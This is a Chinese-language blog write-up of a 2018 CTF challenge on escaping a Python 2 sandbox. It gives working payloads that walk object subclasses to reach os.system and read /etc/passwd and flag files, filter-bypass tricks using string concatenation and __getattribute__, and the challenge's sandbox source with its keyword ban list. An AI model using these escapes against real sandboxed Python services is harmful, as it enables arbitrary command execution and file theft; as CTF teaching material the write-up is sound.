python沙箱逃逸

0x00 前言

ctf2018国赛的一道题目

拿到题目,nc连接之后得到一个命令交互会话。
根据提示是个python环境,并且要拿到shell获取flag。那么很明显了,这是一个python沙箱环境,要进行逃逸获取shell。

0x01 题目分析

首先尝试导入能执行系统命令的模块,当然,直接给报错了。然后又尝试一下import其他不敏感的模块,全都是返回ban。那么这里应该是对所有Import进行了拦截。
那么直接上一种彪悍的方式,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的

1
Payload: ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

但是就是在这里出现了一个很头疼的事,这个沙箱还过滤了敏感命令,比如os,ls ,sys,cat全都进行了过滤。而非常巧的是,func_globals里面包含了ls这个字符串,而这里又不能用字符串拼接的方式进行拼接。在这里饶了一大圈,尝试几种方式都没有成功。然后查了一大波文档,最终找到了一个非常有意思的方式 getattribute 。参考https://developers.google.com/protocol-buffers/docs/reference/python/type-class
示例:

1
x.__getattribute__('name') <==> x.name

那么这里可以看出,object x可以使用getattribute方法,这样name就变为字符串,也就达到了我们可以拼接的要求。
那么上面的payload可以改为:

1
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem'] ('l'+'s')

成功拿到一个shell。

0x02 通用payload

文件读取:

1
2
a="".__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
a="".__class__.__mro__[-1].__subclasses__()[40]("/root/run.py").read()

python shell-命令执行:

1
2
3
4
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t'+' home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')


().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t'+' home/ctf/cpython')

0x03 题目源码

读取到题目源码
sandbox.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-04-09 23:30:58
# @Author : Xu (you@example.org)
# @Link : https://xuccc.github.io/
# @Version : $Id$

from sys import modules
from cpython import get_dict
from types import FunctionType

main = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__

def delete_type():
type_dict = get_dict(type)
del type_dict['__bases__']
del type_dict['__subclasses__']

def delete_func_code():
func_dict = get_dict(FunctionType)
del func_dict['func_code']

def safe_import(__import__,whiteList):
def importer(name,globals={},locals={},fromlist=[],level=-1):
if name in whiteList:
return __import__(name,globals,locals,fromlist,level)
else:
print "HAHA,[%s] has been banned~" % name
return importer

class ReadOnly(dict):
"""docstring for ReadOnlu"""
def __delitem__(self,keys):
raise ValueError(":(")
def pop(self,key,default=None):
raise ValueError(":(")
def popitem(self):
raise ValueError(":(")
def setdefault(self,key,value):
raise ValueError(":(")
def __setitem__(self,key,value):
raise ValueError(":(")
def __setattr__(self, name, value):
raise ValueError(":(")
def update(self,dict,**kwargs):
raise ValueError(":(")

def builtins_clear():
whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ")
for mod in __builtins__.__dict__.keys():
if mod not in whiteList:
del __builtins__.__dict__[mod]

def input_filter(string):
ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
for i in ban:
if i in string.lower():
print "{} has been banned!".format(i)
return ""
return string

# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear


whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins

del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__

print """
____
| _ \ _ _ _ __
| |_) | | | | '_ \
| _ <| |_| | | | |
|_| \_\\__,_|_| |_|


Escape from the dark house built with python :)

Try to getshell then find the flag!

"""

while 1:
inp = raw_input('>>>')
cmd = input_filter(inp)
try:
exec cmd
except NameError, e:
print "wow something lose!We can\'t find it ! D:"
except SyntaxError,e:
print "Noob! Synax Wrong! :("
except Exception,e:
print "unknow error,try again :>"

cpython.py

1
2
3
4
5
6
7
8
9
10
from ctypes import pythonapi,POINTER,py_object

_get_dict = pythonapi._PyObject_GetDictPtr
_get_dict.restype = POINTER(py_object)
_get_dict.argtypes = [py_object]

del pythonapi,POINTER,py_object

def get_dict(ob):
return _get_dict(ob).contents.value

0x04 参考文章

https://paper.tuisec.win/detail/430721803508f2e
https://developers.google.com/protocol-buffers/docs/reference/python/type-class

本文标题:python沙箱逃逸

文章作者:boogle

发布时间:2018年04月29日 - 21:40

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/python沙箱逃逸/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗